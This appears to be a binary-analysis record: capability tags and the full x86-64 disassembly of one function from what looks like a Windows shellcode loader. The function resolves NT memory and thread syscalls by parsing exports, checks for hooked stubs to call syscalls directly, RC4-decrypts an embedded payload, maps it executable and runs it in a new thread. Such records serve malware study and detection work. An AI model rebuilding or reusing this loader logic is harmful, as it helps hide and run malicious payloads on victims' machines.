Function at 0x140001090
Capabilities:
Encrypt data using rc4 via systemfunction032
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x130], rax
xor ecx, ecx
call fcn.140001070
mov rdi, rax
lea rdx, [rsp + 0x78]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rdx
lea rax, str.NtAllocateVirtualMemory
xor r15d, r15d
mov qword [rsp + 0x78], rax
lea r13, [rbp + 0xf0]
lea rax, str.NtWriteVirtualMemory
mov dword [rsp + 0x60], r15d
mov qword [rbp - 0x80], rax
lea rax, str.NtProtectVirtualMemory
mov qword [rbp - 0x78], rax
lea rax, str.NtCreateThreadEx
mov qword [rbp - 0x70], rax
mov eax, 0x5a4d
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
nop dword [rax]
movups xmm0, xmmword [r13]
movaps xmmword [rbp + 0xb0], xmm0
cmp word [rdi], ax
jne 0x1400012f7
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
cmp dword [rax], 0x4550
jne 0x1400012f7
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rbp - 0x50]
mov r14d, 1
movups xmm1, xmmword [rax + 0x28]
mov esi, r15d
mov r10d, r15d
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rbp + 0x20]
add rax, rdi
mov r11d, dword [rax + 0x20]
mov ecx, dword [rax + 0x1c]
add r11, rdi
mov ebx, dword [rax + 0x24]
add rcx, rdi
mov r12d, dword [rax + 0x14]
add rbx, rdi
mov qword [rbp + 0xc0], rcx
test r12d, r12d
je 0x1400012f7
nop word [rax + rax]
movzx eax, word [rbx]
mov r9d, dword [r11]
add r9, rdi
mov r8d, dword [rcx + rax*4]
mov rax, qword [rdx]
add r8, rdi
sub r9, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140001263
inc rax
test ecx, ecx
jne 0x140001250
test edx, edx
je 0x14000126c
test r14d, r14d
jne 0x14000128a
mov eax, dword [r8]
mov dword [rbp + 0xdc], 0xb8d18b4c
cmp eax, dword [rbp + 0xdc]
jne 0x140001285
cmp al, 0xe9
jne 0x1400012a8
inc esi
mov r14d, r15d
inc r10d
add rbx, 2
add r11, 4
cmp r10d, r12d
jae 0x1400012f7
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rsp + 0x70]
jmp 0x140001230
movzx eax, byte [r8 + 4]
sub ax, si
mov word [rbp + 0xd8], 0x50f
mov word [rbp + 0xb0], ax
movzx eax, word [rbp + 0xd8]
cmp word [r8], ax
je 0x1400012d9
nop dword [rax]
inc r8
cmp word [r8], ax
jne 0x1400012d0
mov qword [rbp + 0xb8], r8
lea rax, [rbp - 0x60]
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x68], rax
jmp 0x1400012fc
mov rax, qword [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rcx, str._x____p_n
movups xmmword [r13], xmm0
movzx edx, word [r13]
mov r8, qword [r13 + 8]
call fcn.140001010
mov eax, dword [rsp + 0x60]
add r13, 0x10
mov rdx, qword [rsp + 0x70]
inc eax
add rdx, 8
mov dword [rsp + 0x60], eax
cmp eax, 4
mov qword [rsp + 0x70], rdx
mov eax, 0x5a4d
jb 0x140001140
mov eax, dword [0x1400053f8]
lea rcx, [0x140005400]
mov qword [rbp + 0xb8], rcx
lea rbx, [0x1400050c0]
lea rcx, str.Advapi32
mov dword [rbp + 0xb0], 0x10
mov dword [rbp + 0xb4], 0x10
mov dword [rbp + 0xc0], eax
mov dword [rbp + 0xc4], eax
mov qword [rbp + 0xc8], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0xc0]
call rax
mov rdx, qword [rbp + 0xf8]
movzx ecx, word [rbp + 0xf0]
mov qword [rbp + 0xa0], r15
call fcn.140001590
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [0x1400053f8]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0xa0]
lea rcx, [r8 - 1]
call fcn.1400015a8
test eax, eax
mov edx, r15d
setne dl
test eax, eax
je 0x140001409
mov eax, edx
jmp 0x140001551
lea rcx, [0x1400032f4]
call fcn.140001010
mov rdx, qword [rbp + 0x108]
movzx ecx, word [rbp + 0x100]
call fcn.140001590
mov r9d, dword [0x1400053f8]
lea rax, [rbp + 0xe0]
mov rdx, qword [rbp + 0xa0]
mov r8, rbx
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
mov dword [rbp + 0xe0], r15d
call fcn.1400015a8
test eax, eax
mov edx, r15d
setne dl
test eax, eax
jne 0x140001402
lea rcx, [0x1400032f4]
call fcn.140001010
mov rdx, qword [rbp + 0x118]
movzx ecx, word [rbp + 0x110]
call fcn.140001590
lea rax, [rbp + 0xe4]
mov dword [rbp + 0xe4], r15d
mov r9d, 0x40
mov qword [rsp + 0x20], rax
lea r8, [0x1400053f8]
mov rcx, 0xffffffffffffffff
lea rdx, [rbp + 0xa0]
call fcn.1400015a8
test eax, eax
mov edx, r15d
setne dl
test eax, eax
jne 0x140001402
lea rcx, [0x1400032f4]
call fcn.140001010
mov rdx, qword [rbp + 0x128]
movzx ecx, word [rbp + 0x120]
call fcn.140001590
mov rcx, qword [rbp + 0xa0]
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
mov edx, 0x1fffff
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xd0]
mov qword [rbp + 0xd0], r15
call fcn.1400015a8
test eax, eax
setne r15b
test eax, eax
je 0x140001540
mov eax, r15d
jmp 0x140001551
mov edx, r15d
lea rcx, [0x1400032f4]
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.1400015d0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret